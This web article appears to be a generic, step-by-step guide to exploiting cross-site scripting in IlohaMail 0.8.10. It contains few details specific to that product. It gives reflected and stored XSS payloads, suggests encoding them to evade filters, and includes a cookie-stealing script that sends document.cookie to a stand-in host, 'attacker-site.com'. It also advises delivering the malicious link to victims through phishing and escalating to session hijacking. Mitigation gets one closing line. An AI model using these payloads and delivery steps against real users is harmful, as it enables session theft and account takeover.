Articles

IlohaMail 0.8.10 contains an XSS vulnerability

by admin

To exploit a Cross-Site Scripting (XSS) vulnerability in IlohaMail 0.8.10, here are the general steps you would follow, assuming it’s a reflected or stored XSS vulnerability. While IlohaMail has specific nuances, the general process applies to many XSS attacks. The exact payload and entry points depend on the vulnerable application logic, but here’s a typical approach:

1. Identify the Entry Point

  • Examine the application to locate forms, URL parameters, or any field where user input is processed and displayed back to the user or others (such as a message form, search box, or email body).
  • For reflected XSS, find parameters in the URL or HTTP request that reflect data directly into the webpage without proper sanitization.
  • For stored XSS, look for inputs where data is stored (like composing an email, sending messages, or saving settings) and later displayed without proper sanitization.

2. Craft the Malicious Payload

  • Design a payload to inject into the vulnerable field that executes arbitrary JavaScript when the input is reflected back into the web page. A typical payload could be:
<script>alert('XSS Vulnerability');</script>
  • If the application filters or partially sanitizes input, you may need to obfuscate or encode the payload using techniques like HTML encoding, escaping, or breaking the filter mechanism.

3. Inject the Payload

  • Enter your payload into the vulnerable input point. If it’s a reflected XSS, you might inject it into a URL parameter. For example:
http://example.com/iloha/search.php?q=<script>alert('XSS');</script>
  • For stored XSS, insert the payload into a persistent field (like sending an email with a malicious payload in the body or subject).

4. Trigger the Execution

  • In reflected XSS, the script will execute immediately upon visiting the manipulated URL. If the application reflects the payload unsanitized, the JavaScript will run in the victim’s browser.
  • In stored XSS, the script will execute whenever the data is retrieved from storage and rendered by the browser (e.g., viewing an email that contains the XSS payload).

5. Analyze the Impact

  • Once the script executes, depending on the payload, it can:
    • Steal session cookies (document.cookie)
    • Perform actions on behalf of the user (e.g., sending emails, changing settings)
    • Redirect the user to malicious sites or load external scripts
    • Conduct phishing attacks by presenting fake login forms.

Example of a Malicious Payload

If you want to steal the user’s session cookies:

<script>
   var img = new Image();
   img.src = "http://attacker-site.com/log?cookie=" + document.cookie;
</script>

6. Deliver the Exploit

  • For reflected XSS, send the manipulated URL to a victim or trick them into clicking it (e.g., through phishing or social engineering).
  • For stored XSS, the victim will trigger the script simply by viewing the compromised data (e.g., when reading an email).

7. Escalate the Attack

Depending on the privileges of the victim user (admin, regular user, etc.), you can escalate the attack to compromise the entire system. For example:

  • Hijack sessions.
  • Change user settings.
  • Perform actions like sending spam or altering configurations.

8. Mitigation

  • After exploiting the vulnerability, report the issue to the appropriate parties (security team or application owner) for remediation. In this case, IlohaMail should escape or sanitize user input correctly, using methods like HTML encoding or input validation.